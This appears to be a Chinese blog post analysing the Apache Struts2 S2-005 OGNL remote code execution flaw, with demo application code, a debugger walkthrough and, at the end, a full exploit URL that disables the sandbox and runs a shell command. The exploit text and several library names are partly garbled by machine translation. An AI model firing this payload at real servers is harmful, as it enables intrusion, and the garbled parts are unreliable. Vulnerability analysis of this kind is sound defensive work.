Struts2-005远程代码执行漏洞分析


发布人:C-der0分类:漏洞播报浏览量:818发布时间:2019-01-06


一,漏洞信息

官方链接:https//cwiki.apache.org/confluence/display/WW/S2-005

官方概述:XWork ParameterInterceptors bypass允许远程命令执行

影响版本:Struts 2.0.0 - Struts 2.1.8.1

修复摘要:开发人员应立即升级到Struts 2.2.1或仔细阅读以下解决方案说明,以便进行配置更改以缓解漏洞

二,漏洞原理

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003。

三,环境搭建

下载Struts2.0.11.2http//archive.apache.org/dist/struts/binaries/struts-2.1.8.1-all.zip

目录结构

引用的包

公地文件上传-1.2.1.jar

共享记录-1.0.4.jar

freemarker的-2.3.15.jar

OGNL-2.7.3.jar

Struts2的核心 - 2.1.8.1.jar

XWork的-2.0.5.jar

的index.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-005</title>
</head>
<body>
<h2>S2-005 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-005">https://cwiki.apache.org/confluence/display/WW/S2-005</a></p>
<s:form action="login">
    <s:textfield name="username" label="username" />
    <s:textfield name="password" label="password" />
    <s:submit></s:submit>
</s:form>
</body>
</html>

的welcome.jsp

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-005</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>

在struts.xml

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
    "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"
    "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
    <package name="S2-005" extends="struts-default">
        <action name="login" class="com.demo.action.LoginAction">
            <result name="success">welcome.jsp</result>
            <result name="error">index.jsp</result>
        </action>
    </package>
</struts>

com.demo.action.LoginAction.java

package com.demo.action;

import com.opensymphony.xwork2.ActionSupport;

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if ((this.username.isEmpty()) || (this.password.isEmpty())) {
            return "error";
        }
        if ((this.username.equalsIgnoreCase("admin"))
                && (this.password.equals("admin"))) {
            return "success";
        }
        return "error";
    }
}

web.xml中

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">

    <display-name>S2-005 Example</display-name>

    <filter>
        <filter-name>struts2</filter-name>
        <filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
    </filter>

    <filter-mapping>
        <filter-name>struts2</filter-name>
        <url-pattern>/*</url-pattern>
    </filter-mapping>

    <welcome-file-list>
        <welcome-file>index.jsp</welcome-file>
    </welcome-file-list>

</web-app>

四,漏洞分析

首先我们来看看官方是如何修补的S2-003呢?它是新出了一个沙盒机制,默认禁止了静态方法的调用(allowStaticMethodAccesMethodAccessor.denyMethodExecution

所以我们可以利用OGNL先把沙盒关闭掉,就又可以执行命令了。

xwork.MethodAccessor.denyMethodExecution设置为假allowStaticMethodAccess设置为真

这样就可以关闭掉沙盒机制,unicode的编码仍然还是可以的,\u0023会被解析成#,POC还是原来的POC,只不过加上了上面的两个设置,接下来我们可以看看具体漏洞分析的过程

这里还是在的Tomcat6环境下进行分析。

和S2-003大体相同,在xwork-core-2.1.16.jar!com/opensymphony/xwork2/interceptor/ParametersInterceptor中断点调试

跟进setParameters,会进入到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlValueStack,可以看出在OGNL中,值栈(值栈)的实现类是OgnlValueStack

在发现里面封装了一个setValue类,跟入ognlUtil.setValue,展示进入会到xwork-core-2.1.16.jar!com/opensymphony/xwork2/ognl/OgnlUtil中,汉语中类似的这里封装了一遍setValue类,最终调用了OGNL中的的setValue方法

看到可以的其中compile方法,会将传来的字符串进行解析,而名义值就是我们传递过来的参数值,跟进compile方法

跟进parseExpression,从这里topLevelExpression开始对语法书进行解析,到展示进入ognl-2.7.3.jar!ognl/OgnlParser中的expression()进行解析,可以看到,最后将结果保存到值栈中,\u0023被解析成#

然后将解析的结果返回回去

五,漏洞利用

HTTP://本地主机:1111 / login.action( '\ u0023context [\' xwork.MethodAccessor.denyMethodExecution \ '] \ u003dfalse')(BLA)(BLA)( '\ u0023_memberAccess.allowStaticMethodAccess \ u003dtrue')(BLA )(BLA)( '\ u0023_memberAccess.excludeProperties \ u003d @ java.util.Collections中@ EMPTY_SET')(kxlzx)(kxlzx)( '\ u0023mycmd \ u003d \'的ifconfig \”)(BLA)(BLA)( '\ u0023myret \ u003d @ java.lang.Runtime中@ getRuntime()。EXEC(\ u0023mycmd)')(BLA)(BLA)(A)(('\ u0023mydat \ u003dnew \ 40java.io.DataInputStream(\ u0023myret。的getInputStream()) ')(BLA))及(B)((' \ u0023myres \ u003dnew \ 40byte [51020] ')(BLA))(C)((' \ u0023mydat.readFully(\ u0023myres)')( BLA))&(d)(( '\ u0023mystr \ u003dnew \ 40java.lang.String(\ u0023myres)')(BLA))( '\ u0023myout \ u003d @ org.apache.struts2.ServletActionContext @ GETRESPONSE()' )(BLA)(BLA)及(E)(('\ u0023myout.getWriter()。println(\ u0023mystr)')(bla ))

参考链接

https://cwiki.apache.org/confluence/display/WW/S2-005

https://blog.csdn.net/u011721501/article/details/41626959


被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

C-der0  的文章



微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:25143507(PV) 页面执行时间:69.238(MS)
  • xml
  • 网站地图